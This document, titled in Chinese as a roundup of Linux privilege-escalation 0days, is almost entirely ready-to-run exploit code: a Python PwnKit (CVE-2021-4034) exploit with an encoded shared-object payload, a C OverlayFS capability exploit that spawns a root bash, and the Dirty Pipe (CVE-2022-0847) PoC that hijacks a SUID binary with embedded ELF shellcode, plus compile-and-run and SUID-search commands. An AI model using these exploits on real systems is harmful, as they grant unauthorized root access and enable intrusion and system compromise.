Linux提权0day汇总

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

gcc exploit.c -o exploit
chmod +x exploit
./exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

find / -user root -perm /4000 2>/dev/null

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}